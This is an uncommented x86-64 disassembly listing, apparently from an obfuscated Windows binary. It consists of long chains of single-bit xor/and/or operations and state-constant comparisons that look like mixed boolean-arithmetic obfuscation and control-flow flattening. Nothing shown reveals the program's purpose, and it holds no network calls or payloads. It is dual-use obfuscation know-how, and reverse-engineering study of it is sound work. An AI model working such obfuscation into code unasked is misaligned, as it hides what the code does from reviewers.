xor r15b, 1
or r15b, dl
xor r15b, r9b
xor cl, r15b
xor cl, 1
or r15b, bl
xor r15b, 1
or r15b, cl
xor r8b, 1
or r8b, r12b
xor r8b, 1
or r8b, al
mov byte [rsp + 0x40], r8b
mov edi, r11d
xor dil, sil
mov ebx, edi
xor bl, 1
mov edx, edi
mov eax, edi
xor al, r11b
and al, dil
mov r13d, eax
xor r13b, 1
mov byte [rsp + 0x3a], r13b
and r13b, al
xor r13b, 1
mov ecx, eax
xor cl, r13b
or r13b, al
xor r13b, 1
or r13b, cl
mov byte [rsp + 0x39], r13b
mov byte [rsp + 0x3b], r13b
mov eax, edi
or al, bl
mov ecx, eax
xor cl, dil
mov byte [rsp + 0x51], cl
and al, dil
mov byte [rsp + 0x53], al
xor r13b, dil
and dil, bl
xor dl, dil
xor dil, 1
or dil, bl
xor dil, 1
or dil, dl
mov eax, edi
mov edx, esi
and al, sil
xor dil, 1
mov byte [rsp + 0x38], r11b
and dil, r11b
or dil, al
mov eax, esi
mov ecx, esi
mov r10d, esi
xor cl, bl
or al, bl
mov byte [rsp + 0x52], bl
xor al, 1
or al, cl
xor al, 1
mov ecx, edi
and cl, al
xor al, dil
or al, cl
mov ecx, eax
xor cl, 1
or al, cl
mov edx, ecx
xor dl, al
or al, cl
xor al, 1
or al, dl
mov ecx, eax
xor cl, 1
mov edx, eax
and dl, cl
xor al, dl
xor dl, 1
or dl, cl
xor dl, 1
or dl, al
mov eax, edx
xor al, 1
mov ecx, eax
and cl, dl
mov r8d, eax
xor r8b, cl
xor cl, 1
or cl, dl
xor cl, 1
or cl, r8b
xor cl, 1
or al, dl
xor al, 1
mov edx, ecx
and dl, al
xor al, cl
or al, dl
mov ecx, eax
xor cl, 1
mov r9d, ecx
and r9b, al
xor cl, r9b
xor r9b, 1
or r9b, al
xor r9b, 1
or r9b, cl
mov ecx, ebx
and cl, r11b
xor cl, 1
mov eax, ecx
mov byte [rsp + 0x47], sil
and al, sil
xor cl, sil
or cl, al
mov edx, r15d
xor dl, 1
mov eax, edx
xor al, r15b
or al, dl
or r15b, dl
xor r15b, 1
mov r8d, edx
and r8b, r15b
xor r15b, dl
or r15b, r8b
mov r8d, eax
xor r8b, 1
mov edx, eax
and dl, r8b
mov r10d, eax
and r10b, dl
xor dl, al
or dl, r10b
mov edi, r15d
xor dil, 1
and dil, r15b
xor dil, 1
mov r10d, r15d
xor r10b, dil
or dil, r15b
xor dil, 1
or dil, r10b
xor al, r8b
and al, r8b
mov r11d, edx
xor r11b, 1
or dl, r11b
mov r10d, eax
and al, dl
mov r8d, edx
xor r8b, 1
xor r10b, 1
mov edx, r8d
xor dl, r10b
and dl, r8b
and r10b, r8b
or r10b, al
mov eax, edx
and al, r10b
xor r10b, dl
or r10b, al
mov eax, r10d
xor al, 1
and r10b, al
mov edx, eax
and dl, r10b
xor r10b, al
or r10b, dl
xor r10b, r15b
xor dil, 1
mov eax, r11d
or al, dil
xor dil, r11b
xor al, 1
mov edx, eax
and dl, dil
xor dil, al
or dil, dl
mov eax, r10d
xor al, 1
mov edx, eax
and dl, r10b
mov r8d, edx
and r8b, al
xor dl, al
or dl, r8b
xor dl, dil
mov eax, r10d
and al, dil
xor dil, r10b
or dil, al
xor dl, 1
xor dil, 1
mov eax, edx
and al, dil
xor dil, dl
or dil, al
mov eax, r9d
xor al, 1
mov edx, r9d
and dl, al
mov r8d, eax
and r8b, dl
xor al, dl
or al, r8b
mov ebx, eax
xor bl, 1
or bl, al
xor dl, 1
mov eax, edx
xor al, r9b
or dl, r9b
xor dl, 1
or dl, al
mov r8d, ebx
xor r8b, 1
mov r15d, edx
xor r15b, 1
and bl, r15b
mov r11d, r15d
and r11b, dl
xor r15b, r11b
xor r11b, 1
or r11b, dl
and dl, r8b
or bl, dl
mov edx, r8d
xor dl, r9b
or r8b, r9b
xor r8b, 1
or r8b, dl
xor bl, 1
mov edx, ebx
xor dl, r8b
or bl, r8b
xor bl, 1
or bl, dl
mov r8d, ecx
xor r8b, 1
mov r10d, ecx
and r10b, r8b
mov r9d, ecx
and r9b, r10b
xor r10b, cl
or r10b, r9b
or r8b, cl
mov r9d, r10d
xor r9b, r8b
xor cl, r8b
and cl, r8b
mov edx, r8d
xor dl, 1
mov ebp, r10d
xor bpl, dl
or dl, r10b
xor r9b, 1
xor dl, 1
or dl, r9b
mov r9d, edx
xor r9b, bpl
xor bpl, 1
or bpl, dl
xor r9b, 1
xor bpl, 1
or bpl, r9b
mov r14d, ebx
xor r14b, 1
mov edx, ebx
and dl, r14b
xor dl, 1
mov r9d, r14d
xor r9b, dl
or dl, r14b
xor dl, 1
or dl, r9b
mov r10d, edx
xor r10b, 1
mov r8d, edx
and r8b, r10b
xor r10b, dl
or r10b, r8b
xor r11b, 1
or r11b, r15b
mov r15d, ebp
xor r15b, 1
mov esi, r15d
and sil, bpl
mov r8d, r15d
and r8b, sil
mov eax, r15d
xor al, sil
or al, r8b
mov r8d, eax
xor r8b, 1
mov r9d, eax
and r9b, r8b
xor r8b, al
or r8b, r9b
xor r11b, 1
mov r9d, r10d
and r9b, r11b
mov eax, r10d
xor al, r11b
or al, r9b
mov edx, r10d
xor dl, 1
mov r9d, r10d
and r9b, dl
xor r10b, r9b
xor r9b, 1
or r9b, dl
xor r9b, 1
or r9b, r10b
xor r9b, r11b
mov r10d, eax
xor r10b, 1
mov edx, eax
and dl, r10b
mov r11d, eax
and r11b, dl
xor dl, al
or dl, r11b
mov r11d, r9d
xor r11b, 1
xor dl, r11b
xor r11b, al
or r9b, r10b
xor r9b, 1
or r9b, r11b
mov eax, r9d
xor al, dl
xor dl, 1
or dl, r9b
xor al, 1
xor dl, 1
or dl, al
mov r9d, r8d
xor r9b, 1
mov r11d, ecx
xor r11b, 1
mov r10d, r11d
and r10b, r8b
mov eax, r9d
and al, cl
or al, r10b
xor r8b, al
and r8b, al
or r11b, r9b
xor cl, r9b
and cl, r9b
xor cl, 1
mov eax, r11d
xor al, cl
or cl, r11b
xor cl, 1
or cl, al
mov r9d, r8d
xor r9b, 1
and r9b, cl
xor cl, 1
mov eax, r8d
xor al, cl
and al, r8b
and cl, r8b
or cl, r9b
xor al, 1
xor cl, 1
mov r8d, eax
xor r8b, cl
or cl, al
xor cl, 1
or cl, r8b
mov r8d, edx
xor r8b, 1
mov eax, r8d
and al, dl
mov r9d, r8d
and r9b, al
xor al, r8b
or al, r9b
xor al, cl
mov r9d, ecx
xor r9b, 1
xor al, 1
mov r10d, eax
xor r10b, r9b
and r10b, al
and cl, r9b
mov eax, r9d
and al, cl
xor cl, r9b
or cl, al
and dl, cl
xor cl, 1
and cl, r8b
or cl, dl
xor r8b, cl
and r8b, cl
mov eax, r10d
xor al, 1
mov ecx, r8d
xor cl, al
mov edx, eax
and dl, r10b
xor al, dl
xor dl, 1
or dl, r10b
xor dl, 1
or dl, al
xor dl, r8b
or r8b, r10b
xor cl, 1
xor r8b, 1
or r8b, cl
mov eax, edx
xor al, r8b
or r8b, dl
xor r8b, 1
or r8b, al
mov r10d, ebx
xor r10b, r14b
and r10b, bl
mov ecx, r10d
xor cl, 1
and cl, r10b
xor cl, 1
mov edx, r10d
xor dl, cl
or cl, r10b
xor cl, 1
or cl, dl
xor sil, 1
mov r9d, r15d
xor r9b, sil
or sil, r15b
mov edx, ebp
or dl, r15b
xor r15b, bl
or bl, r14b
mov eax, ebx
xor al, 1
and bl, al
xor bl, 1
mov r11d, eax
xor r11b, bl
or bl, al
xor bl, 1
or bl, r11b
xor bl, cl
mov ecx, r10d
xor cl, al
or al, r10b
xor al, 1
or al, cl
xor al, 1
mov ecx, ebx
and cl, al
xor al, bl
or al, cl
xor sil, 1
or sil, r9b
xor sil, 1
xor dl, 1
mov ecx, esi
and cl, dl
xor dl, sil
or dl, cl
xor al, 1
mov ecx, eax
xor cl, dl
xor cl, 1
and cl, dl
or al, dl
mov edx, eax
xor dl, cl
xor cl, 1
or cl, al
xor dl, 1
xor cl, 1
or cl, dl
or bpl, r14b
xor bpl, 1
mov eax, ebp
and al, r15b
xor r15b, bpl
or r15b, al
mov eax, r15d
xor al, 1
mov edx, ecx
xor dl, 1
and al, dl
or dl, r15b
and r15b, cl
or r15b, al
xor r15b, 1
mov eax, edx
xor al, r15b
or r15b, dl
xor r15b, 1
or r15b, al
mov eax, r15d
xor al, 1
and r15b, al
mov ecx, eax
and cl, r15b
xor r15b, al
or r15b, cl
mov eax, r8d
xor al, 1
mov r10d, eax
and r10b, r8b
mov edx, eax
xor dl, r10b
xor r10b, 1
or r10b, r8b
xor r10b, 1
or r10b, dl
mov r11d, r15d
xor r11b, 1
mov ebx, r11d
and bl, r15b
mov r9d, r11d
xor r9b, bl
xor bl, 1
or bl, r15b
xor bl, 1
or bl, r9b
or al, r8b
or r11b, r15b
mov r8d, r10d
xor r8b, 1
mov ecx, r8d
and cl, al
xor al, r8b
or cl, al
xor cl, 1
mov r9d, eax
and r9b, cl
xor cl, al
or cl, r9b
mov ebp, ebx
xor bpl, 1
mov edx, ebx
xor dl, bpl
and dl, bl
xor r11b, dl
and dl, r11b
xor dl, 1
mov r9d, edx
xor r9b, r11b
or dl, r11b
xor dl, 1
or dl, r9b
xor cl, 1
mov r9d, ecx
xor r9b, dl
xor r9b, 1
and r9b, dl
or cl, dl
xor cl, 1
mov edx, r9d
and dl, cl
xor cl, r9b
or cl, dl
and bl, r8b
or r8b, bpl
and bpl, r10b
or bpl, bl
xor r8b, 1
mov edx, r8d
and dl, bpl
xor bpl, r8b
or bpl, dl
xor bpl, cl
mov edx, ebp
xor dl, 1
and bpl, cl
mov ecx, ebp
and cl, dl
xor bpl, dl
or bpl, cl
mov r9d, edi
xor r9b, 1
mov r8d, r9d
and r8b, dil
mov ecx, r9d
and cl, r8b
mov ebx, edi
or bl, r9b
xor r9b, r8b
or r9b, cl
mov ecx, r9d
xor cl, bl
or r9b, bl
xor r9b, 1
or r9b, cl
xor r8b, 1
or r8b, dil
mov r10d, r8d
xor r10b, 1
and r10b, r8b
xor r10b, 1
mov ecx, r10d
xor cl, r8b
or r10b, r8b
xor r10b, 1
or r10b, cl
mov esi, ebp
xor sil, 1
mov ebx, esi
or bl, bpl
mov edx, ebx
xor dl, 1
mov r11d, ebp
and r11b, bl
and dl, sil
or dl, r11b
or bl, sil
xor dl, 1
mov r11d, ebx
xor r11b, dl
or dl, bl
xor dl, 1
or dl, r11b
mov ebx, edx
xor bl, 1
and dl, bl
mov r11d, ebx
and r11b, dl
xor dl, bl
or dl, r11b
mov eax, edx
xor al, 1
mov ecx, edx
and cl, al
mov r11d, edx
xor r11b, cl
xor cl, 1
or cl, al
xor cl, 1
or cl, r11b
or al, dl
xor cl, 1
xor al, 1
mov edx, ecx
and dl, al
xor al, cl
or al, dl
mov ecx, eax
xor cl, 1
and al, cl
mov edx, ecx
and dl, al
xor al, cl
or al, dl
mov ecx, esi
and cl, bpl
xor sil, bpl
or sil, cl
mov edx, esi
xor dl, 1
and sil, dl
mov ecx, edx
and cl, sil
xor sil, dl
or sil, cl
xor r10b, r9b
mov ecx, r9d
and cl, r8b
xor r8b, r9b
or r8b, cl
mov edx, r10d
xor dl, 1
and dl, r8b
xor r8b, 1
mov ecx, r8d
xor cl, r10b
and cl, r8b
and r8b, r10b
or r8b, dl
xor cl, 1
xor r8b, 1
mov edx, ecx
xor dl, r8b
or r8b, cl
xor r8b, 1
or r8b, dl
mov r9d, esi
xor r9b, 1
mov ecx, esi
and cl, r9b
mov edx, ecx
xor cl, sil
mov ebx, eax
xor bl, r9b
xor dl, 1
or dl, r9b
xor dl, 1
or dl, cl
mov ecx, eax
xor cl, 1
xor bl, 1
or bl, cl
and cl, dl
xor dl, 1
and dl, al
xor bl, 1
or dl, cl
xor dl, bl
mov eax, edx
xor al, 1
and bl, al
mov edi, ebx
xor bl, dl
xor dil, 1
or dil, al
xor dil, 1
or dil, bl
mov r9d, r8d
xor r9b, 1
mov ecx, r8d
and cl, r9b
mov edx, r8d
xor dl, cl
xor cl, 1
or cl, r9b
xor cl, 1
or cl, dl
mov ebx, r9d
or bl, r8b
mov edx, ebx
xor dl, 1
mov eax, ebx
and al, dl
xor r8b, bl
xor bl, al
xor al, 1
or al, dl
xor al, 1
or al, bl
xor al, cl
or dl, r9b
xor al, 1
xor dl, 1
or dl, r8b
mov ecx, eax
xor cl, dl
or dl, al
mov eax, edi
xor al, 1
or dil, al
xor dil, al
xor dl, 1
or dl, cl
mov ecx, edi
xor cl, 1
and dil, al
mov eax, edi
and al, cl
xor dil, cl
or dil, al
xor dil, 1
mov eax, edi
or al, dl
xor al, 1
xor dil, dl
xor dil, 1
and dil, dl
mov ecx, eax
and cl, dil
xor dil, al
or dil, cl
mov bl, byte [rsp + 0x48]
mov eax, ebx
mov cl, byte [rsp + 0x3c]
or al, cl
xor bl, cl
mov ecx, eax
xor cl, bl
xor bl, 1
xor cl, 1
or bl, al
xor bl, 1
or bl, cl
mov r10d, ebx
xor r10b, 1
mov cl, byte [rsp + 0x40]
mov eax, ecx
xor al, r12b
or cl, r12b
xor cl, 1
or cl, al
mov r8d, ecx
mov esi, r10d
or sil, bl
mov eax, esi
xor al, 1
mov edx, eax
and dl, sil
mov ecx, edx
and cl, al
xor dl, al
mov eax, ebx
xor al, r10b
and al, bl
mov r9d, ebx
or dl, cl
xor dl, al
xor al, 1
mov ebx, esi
and bl, al
xor al, sil
or al, bl
xor dl, 1
mov ebx, edx
xor bl, al
or dl, al
mov eax, r8d
xor al, 1
xor dl, 1
or dl, bl
mov ecx, eax
and cl, r8b
mov ebx, ecx
xor bl, 1
xor cl, al
or bl, r8b
xor bl, 1
or bl, cl
mov ecx, edx
xor cl, 1
and cl, bl
xor bl, 1
and bl, dl
or bl, cl
mov byte [rsp + 0x48], r9b
mov r15d, r9d
and r15b, r10b
mov r12d, r15d
xor r12b, 1
mov ecx, r9d
xor cl, r15b
or r12b, r10b
xor r12b, 1
or r12b, cl
mov ecx, r12d
and r12b, r8b
xor cl, 1
and cl, al
or r12b, cl
mov ecx, r9d
and cl, al
xor al, r9b
or al, cl
xor r12b, 1
mov ecx, r12d
xor cl, al
or r12b, al
xor r12b, 1
or r12b, cl
mov eax, r12d
xor al, 1
and r12b, al
mov ecx, eax
and cl, r12b
xor r12b, al
or r12b, cl
mov eax, ebx
xor al, 1
mov ecx, eax
and cl, bl
mov edx, eax
and dl, cl
xor cl, al
or cl, dl
mov r8d, r12d
xor r8b, 1
mov edx, r8d
and dl, r12b
mov r9d, r8d
and r9b, dl
xor dl, r8b
or dl, r9b
xor dl, cl
xor al, r8b
or r12b, bl
xor dl, 1
xor r12b, 1
or r12b, al
mov eax, edx
xor al, r12b
or r12b, dl
xor r12b, 1
or r12b, al
mov r8b, byte [rsp + 0x39]
xor r8b, 1
mov al, byte [rsp + 0x3b]
or al, r8b
mov ebx, eax
mov cl, byte [rsp + 0x3a]
or bl, cl
xor al, cl
mov ecx, ebx
xor cl, al
xor al, 1
or al, bl
xor cl, 1
xor al, 1
or al, cl
mov cl, byte [rsp + 0x51]
mov ebx, ecx
xor bl, 1
mov dl, byte [rsp + 0x53]
or dl, cl
xor cl, dl
xor cl, 1
or dl, bl
xor dl, 1
or dl, cl
mov ebx, edx
mov edx, eax
xor dl, 1
and dl, al
xor dl, 1
mov ecx, eax
xor cl, dl
or dl, al
xor dl, 1
or dl, cl
xor dl, bl
xor dl, 1
or r8b, byte [rsp + 0x52]
xor r8b, 1
mov ecx, r8d
and cl, r13b
xor r13b, r8b
or r13b, cl
mov ecx, r13d
xor cl, 1
and r13b, cl
mov eax, r13d
and al, cl
xor r13b, cl
or r13b, al
xor r13b, dl
mov eax, edx
xor al, cl
or cl, dl
xor cl, 1
or cl, al
mov eax, ecx
xor al, r13b
xor r13b, 1
xor al, 1
or r13b, cl
xor r13b, 1
or r13b, al
mov r8d, r12d
xor r8b, 1
mov eax, r8d
and al, r12b
xor al, 1
mov ecx, r12d
xor cl, al
or al, r12b
xor al, 1
or al, cl
mov ebp, eax
xor bpl, 1
or bpl, al
mov eax, r13d
xor al, 1
mov ecx, eax
and cl, r13b
mov r9d, r13d
xor r9b, al
xor al, cl
xor cl, 1
or cl, r13b
xor cl, 1
or cl, al
mov eax, ecx
xor al, 1
or al, cl
mov ecx, r15d
and cl, r10b
xor r15b, r10b
or r15b, cl
mov r14d, r15d
mov r11b, byte [rsp + 0x47]
and r15b, r11b
xor byte [rsp + 0x48], r11b
and r9b, r13b
mov edx, ebp
xor dl, 1
and r12b, bpl
or bpl, r8b
and dl, r8b
mov ecx, eax
xor cl, 1
or dl, r12b
mov ebx, ebp
xor bl, dl
xor dl, 1
xor bl, 1
or dl, bpl
xor dl, 1
or dl, bl
mov ebp, r9d
xor bpl, 1
and r9b, al
or al, bpl
and bpl, cl
or bpl, r9b
xor bpl, 1
mov ecx, eax
xor cl, bpl
or bpl, al
xor bpl, 1
or bpl, cl
xor bpl, dl
mov r8d, ebp
xor r8b, 1
xor sil, r10b
mov eax, esi
and al, r10b
xor sil, 1
mov ecx, eax
and cl, sil
xor sil, al
or sil, cl
and r11b, sil
not sil
mov al, byte [rsp + 0x38]
and sil, al
or sil, r11b
xor r14b, 1
and r14b, al
or r15b, r14b
or r10b, al
xor r10b, 1
or r10b, byte [rsp + 0x48]
xor r10b, 1
mov eax, r15d
and al, r10b
xor r10b, r15b
or r10b, al
mov eax, esi
xor al, 1
mov ecx, eax
mov edx, r10d
mov r9d, r10d
mov r11d, eax
and r11b, r10b
xor al, r10b
xor r10b, 1
and cl, sil
and dl, r10b
xor cl, 1
mov ebx, esi
xor bl, cl
or cl, sil
xor cl, 1
or cl, bl
xor r9b, dl
xor dl, 1
or dl, r10b
xor dl, 1
or dl, r9b
xor dl, cl
or al, r11b
xor al, 1
mov ecx, edx
and cl, al
xor al, dl
or al, cl
mov ecx, eax
xor cl, 1
mov edx, ecx
and dl, al
xor dl, 1
mov ebx, eax
xor bl, dl
or dl, al
xor dl, 1
or dl, bl
mov ebx, edx
xor bl, 1
or cl, al
mov eax, ecx
xor al, 1
and al, bl
or bl, cl
xor bl, 1
and cl, dl
or cl, al
mov eax, ebx
and al, cl
xor cl, bl
or cl, al
mov eax, ecx
xor al, 1
and al, cl
xor al, 1
mov edx, ecx
xor dl, al
or al, cl
xor al, 1
or al, dl
mov ecx, eax
xor cl, 1
or al, cl
mov edx, ecx
xor dl, al
or al, cl
xor al, 1
or al, dl
mov ecx, eax
xor cl, 1
mov ebx, ecx
and bl, al
xor cl, bl
xor bl, 1
or bl, al
xor bl, 1
or bl, cl
mov ecx, ebx
xor cl, 1
mov r10d, ebp
mov r9d, ebx
or r9b, cl
mov r13d, r9d
xor r13b, 1
mov r11d, ebx
and r11b, r9b
or r9b, cl
and r13b, cl
mov esi, r8d
and sil, bpl
and cl, bl
mov r14d, esi
xor r14b, 1
or r14b, bpl
xor cl, 1
mov r15d, ecx
xor r15b, bl
or cl, bl
mov r12d, ebp
and r12b, bl
xor bl, bpl
mov edx, ebp
or dl, r8b
and r10b, dl
xor dl, 1
mov eax, edx
xor al, r8b
and al, dl
and dl, r8b
or dl, r10b
mov r10d, eax
and r10b, dl
xor dl, al
or dl, r10b
or r13b, r11b
mov eax, r9d
xor al, r13b
xor r13b, 1
or r13b, r9b
xor al, 1
xor r13b, 1
or r13b, al
xor dl, 1
mov eax, edx
xor al, r13b
xor al, 1
and al, r13b
or dl, r13b
xor dl, 1
mov r9d, eax
and r9b, dl
xor dl, al
or dl, r9b
xor sil, r8b
xor r14b, 1
or r14b, sil
xor cl, 1
or cl, r15b
mov eax, r14d
xor al, 1
and al, cl
xor cl, 1
and cl, r14b
or cl, al
or bl, r12b
xor cl, 1
mov eax, ecx
xor al, bl
or cl, bl
xor cl, 1
or cl, al
mov ebx, edx
xor bl, 1
mov r8d, edx
and r8b, bl
mov eax, r8d
xor al, 1
or al, bl
xor bl, cl
xor cl, 1
xor r8b, dl
xor al, 1
or al, r8b
xor al, cl
or cl, dl
xor cl, 1
or cl, bl
xor al, 1
mov edx, eax
xor dl, cl
or al, cl
xor al, 1
or al, dl
mov ecx, eax
xor cl, 1
mov ebx, eax
and bl, cl
xor bl, 1
mov edx, ecx
xor dl, bl
or bl, cl
xor bl, 1
or bl, dl
mov r8d, ecx
or r8b, al
xor bl, r8b
mov edx, eax
xor cl, al
and al, r8b
xor dl, r8b
or dl, al
mov eax, edx
xor al, bl
xor bl, 1
xor al, 1
or bl, dl
xor bl, 1
or bl, al
mov r10d, ebx
xor r10b, 1
xor r8b, 1
or r8b, cl
mov edx, r10d
and dl, bl
xor dl, 1
mov ecx, ebx
xor cl, dl
or dl, bl
xor dl, 1
or dl, cl
mov r9d, edx
xor r9b, 1
mov r11d, edx
xor r11b, r9b
and r11b, dl
or r10b, bl
mov eax, r10d
xor al, 1
mov ebx, eax
mov ecx, r11d
or al, r11b
xor r11b, 1
and bl, r11b
and cl, r10b
or cl, bl
mov esi, r8d
xor sil, 1
xor r11b, r10b
mov ebx, esi
or bl, r8b
xor al, 1
or al, r11b
mov r10d, eax
xor r10b, cl
xor cl, 1
or cl, al
mov r11d, ebx
xor r11b, 1
xor r10b, 1
xor cl, 1
or cl, r10b
mov eax, r8d
xor al, bl
and al, r8b
and r11b, sil
and bl, r8b
or bl, r11b
mov r10d, eax
and r10b, bl
xor bl, al
or bl, r10b
mov eax, ebx
xor al, 1
and bl, al
mov r10d, eax
and r10b, bl
xor bl, al
or bl, r10b
mov eax, ebx
and al, cl
xor cl, 1
xor bl, 1
and bl, cl
or bl, al
and r8b, r9b
and dl, sil
or dl, r8b
mov eax, r9d
and al, sil
xor r9b, sil
or r9b, al
mov eax, r9d
xor al, dl
xor dl, 1
xor al, 1
or dl, r9b
xor dl, 1
or dl, al
mov eax, edx
xor al, 1
mov ecx, ebx
xor cl, 1
and al, cl
or cl, dl
and dl, bl
or dl, al
mov eax, ecx
xor al, dl
xor dl, 1
xor al, 1
or dl, cl
xor dl, 1
or dl, al
mov eax, edx
xor al, 1
mov ecx, edx
xor cl, al
or dl, al
xor dl, 1
or dl, cl
xor al, dl
xor dl, al
xor dl, 1
and dl, al
mov r9d, edx
xor r9b, 1
mov eax, edi
xor al, 1
mov r11d, r9d
xor r11b, dil
mov ebx, r11d
and bl, r9b
and r11b, dil
mov r8d, ebx
xor r8b, 1
xor bl, r11b
xor r11b, 1
or r11b, r8b
xor r11b, 1
or r11b, bl
mov ebx, r11d
xor bl, al
xor bl, 1
or r11b, dil
xor r11b, 1
or r11b, bl
mov r8d, r11d
xor r8b, 1
and dil, r9b
and dl, al
or dl, dil
xor al, dl
and al, dl
xor dl, 1
or dl, r9b
mov r9d, edx
xor r9b, 1
mov r10d, eax
xor r10b, 1
mov ebx, edx
and bl, r9b
mov ecx, r10d
and cl, al
mov esi, edx
and sil, bl
xor bl, dl
or bl, sil
xor cl, 1
mov esi, eax
xor sil, cl
or cl, al
xor cl, 1
or cl, sil
mov esi, ebx
xor sil, 1
and sil, cl
xor cl, 1
and cl, bl
or cl, sil
xor r10b, dl
or al, r9b
xor al, 1
or al, r10b
xor al, 1
mov edx, ecx
and dl, al
xor al, cl
or al, dl
mov r9d, eax
xor r9b, 1
mov ebx, r8d
or bl, r11b
mov ecx, ebx
xor cl, 1
mov r10d, r9d
mov edx, ebx
and dl, cl
mov esi, ebx
and sil, dl
xor dl, bl
or dl, sil
mov esi, edx
xor sil, 1
and sil, r11b
and dl, r8b
or dl, sil
xor bl, r11b
or cl, r8b
xor cl, 1
or cl, bl
xor dl, 1
mov esi, edx
xor sil, cl
or dl, cl
mov ecx, eax
and cl, r9b
xor cl, 1
mov edi, r9d
xor dil, cl
or cl, r9b
or r9b, al
xor r9b, 1
xor r10b, r9b
xor dl, 1
or dl, sil
and r9b, r10b
xor r10b, 1
mov ebx, r9d
and bl, r10b
xor r10b, r9b
or r10b, bl
mov ebx, r10d
xor bl, 1
or bl, dl
xor dl, 1
xor bl, 1
or dl, r10b
xor dl, 1
mov r9d, ebx
and r9b, dl
xor dl, bl
or dl, r9b
and r11b, r8b
mov ebx, r8d
and bl, r11b
xor r11b, r8b
or r11b, bl
xor cl, 1
or cl, dil
mov ebx, r11d
xor bl, 1
and bl, cl
xor cl, 1
and cl, r11b
or cl, bl
mov ebx, r8d
and bl, al
xor al, r8b
or al, bl
xor al, 1
mov ebx, ecx
and bl, al
xor al, cl
or al, bl
mov ecx, eax
xor cl, 1
mov ebx, ecx
and bl, al
xor bl, 1
mov r8d, ebx
xor r8b, al
or bl, al
xor bl, 1
or bl, r8b
mov eax, edx
xor al, 1
and al, bl
xor bl, 1
and bl, dl
or bl, al
mov eax, edx
xor al, cl
or cl, dl
xor cl, 1
or cl, al
mov eax, ecx
xor al, bl
test al, 1
mov eax, 0x139c2f6b
mov edx, 0xa5a799c1
cmovne eax, edx
test cl, 1
mov ecx, 0x139c2f6b
cmovne ecx, eax
test bl, 1
mov edx, dword [rsp + 0x54]
mov word [rsp + 0x18a], dx
jmp 0x140022823
cmp ecx, 0x9eab6853
jg 0x14000d62c
cmp ecx, 0x95409e26
je 0x1400149eb
cmp ecx, 0x9e4a96b6
jne 0x1400014e0
mov eax, dword [0x1400c5670]
mov r8d, dword [0x1400c566c]
lea r9d, [rax - 1]
imul r9d, eax
mov r10d, r9d
not r10d
mov eax, r10d
and eax, 0x210801c0
mov ebx, r9d
and ebx, 0x8050321a
or ebx, eax
mov eax, ebx
xor eax, 0x8010021a
xor ebx, 0x57ae0c81
mov ecx, r10d
or ecx, 0xa15833da
mov edx, ecx
not edx
and ebx, 0x57ee3c81
and eax, 0xa010035a
or eax, ebx
and ecx, 0x57ee3c81
and edx, 0x801c024
or edx, ecx
xor edx, eax
mov eax, edx
not eax
and eax, 0x5ea7cc25
and edx, 0xa15833da
or edx, eax
mov eax, edx
not eax
and eax, 0x831beef0
xor edx, 0x7ce4110f
or edx, eax
mov eax, edx
not eax
and eax, 0x82310167
and edx, 0x7dcefe98
or edx, eax
mov edi, edx
xor edi, 0x74023298
mov r11d, edx
xor r11d, 0x82310167
mov eax, r10d
and eax, 0x7ce4110f
mov ecx, r9d
xor ecx, 0x831beef0
or ecx, eax
mov eax, ecx
not eax
and eax, 0x465a9972
and ecx, 0xb9a5668d
or ecx, eax
mov eax, ecx
xor eax, 0x465a9972
xor edx, 0x740332fe
and edx, r11d
and edi, 0xf6323399
xor ecx, 0xb068aaeb
and ecx, eax
mov esi, eax
or esi, 0x9cdcc66
mov ebx, esi
not ebx
mov ebp, edx
and ebp, edi
xor edi, edx
or edi, ebp
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0x2c6d150e
and ecx, 0xd392eaf1
or ecx, ebp
or edx, esi
and esi, 0x2c6d150e
and ebx, 0xd2122291
or ebx, esi
xor ebx, ecx
not edx
or edx, ebx
mov ecx, edi
not ecx
and ecx, edx
not edx
and edx, edi
or edx, ecx
mov ecx, r11d
and ecx, eax
xor eax, r11d
or eax, ecx
mov ecx, eax
not ecx
mov ebp, edx
not ebp
mov ebx, ebp
and ebx, 0xe7c0fc83
and edx, 0x183f037c
or edx, ebx
or ebp, eax
and eax, 0xe7c0fc83
and ecx, 0x183f037c
or ecx, eax
xor ecx, edx
not ebp
or ebp, ecx
mov edx, ebp
xor edx, 0x831beef0
and edx, ebp
not ebp
and ebp, 0x831beef0
mov eax, ebp
and eax, edx
xor edx, ebp
or edx, eax
mov eax, edx
not eax
and eax, 0x200a010
mov ecx, edx
and ecx, 0x1640123
or ecx, eax
xor ecx, 0x1640123
and edx, 0xfc9b5ecc
or edx, ecx
mov eax, edx
not eax
and eax, 0xa42a2744
and edx, 0x5bd5d8bb
or edx, eax
mov eax, edx
xor eax, 0x58b17988
mov ecx, edx
xor ecx, 0xa7080041
and ecx, 0xaf2961c9
xor edx, 0x3c141a7f
and edx, eax
and eax, 0x50d69e36
or eax, ecx
mov ecx, eax
xor ecx, 0x50d69e36
xor eax, 0xcb8c023e
and eax, ecx
mov ecx, eax
and ecx, edx
xor edx, eax
or edx, ecx
mov eax, edx
and eax, 0x64a563f7
not edx
and edx, 0x9b5a9c08
or edx, eax
mov eax, r10d
and eax, 0x3b9e6700
mov ebp, r9d
and ebp, 0xc46198ff
or ebp, eax
mov eax, ebp
xor eax, 0x6180c3
xor ebp, 0x3b9e6700
mov ecx, r10d
and ecx, r9d
mov ebx, ecx
not ebx
mov edi, ebp
and edi, 0xee105c3c
and eax, 0x11efa3c3
or eax, edi
or ebp, ebx
and ebx, 0xee105c3c
and ecx, 0x11efa3c3
or ecx, ebx
xor ecx, eax
not ebp
or ebp, ecx
mov eax, ebp
not eax
mov ecx, eax
and ecx, 0x93c2f6d1
and ebp, 0x6c3d092e
or ebp, ecx
and r9d, 0x93c2f6d1
and r10d, 0x6c3d092e
or r10d, r9d
xor r10d, ebp
xor eax, r10d
and eax, r10d
mov ecx, edx
mov edi, eax
not edi
mov ebp, edi
mov esi, eax
mov r9d, edi
or r9d, edx
and edi, 0xf1a869b3
and eax, 0xe57964c
or eax, edi
xor eax, edx
xor eax, 0xf1a869b3
and eax, edx
not edx
and edx, 0x7eff9865
and ecx, 0x8100679a
or ecx, edx
mov edx, ecx
xor edx, 0x4210
and ebp, 0x890b23ab
and esi, 0x76f4dc54
or esi, ebp
mov ebp, esi
xor ebp, 0x2204850
xor ecx, 0x7eff9865
xor esi, 0x890b23ab
mov edi, ecx
and edi, 0xfdddb58f
and edx, 0x2224a70
or edx, edi
or ecx, esi
and esi, 0xfdddb58f
and ebp, 0x2224a70
or ebp, esi
xor ebp, edx
not ecx
or ecx, ebp
mov edx, ecx
not edx
not r9d
mov ebx, r9d
and ebx, eax
xor eax, r9d
or eax, ebx
mov edi, eax
not edi
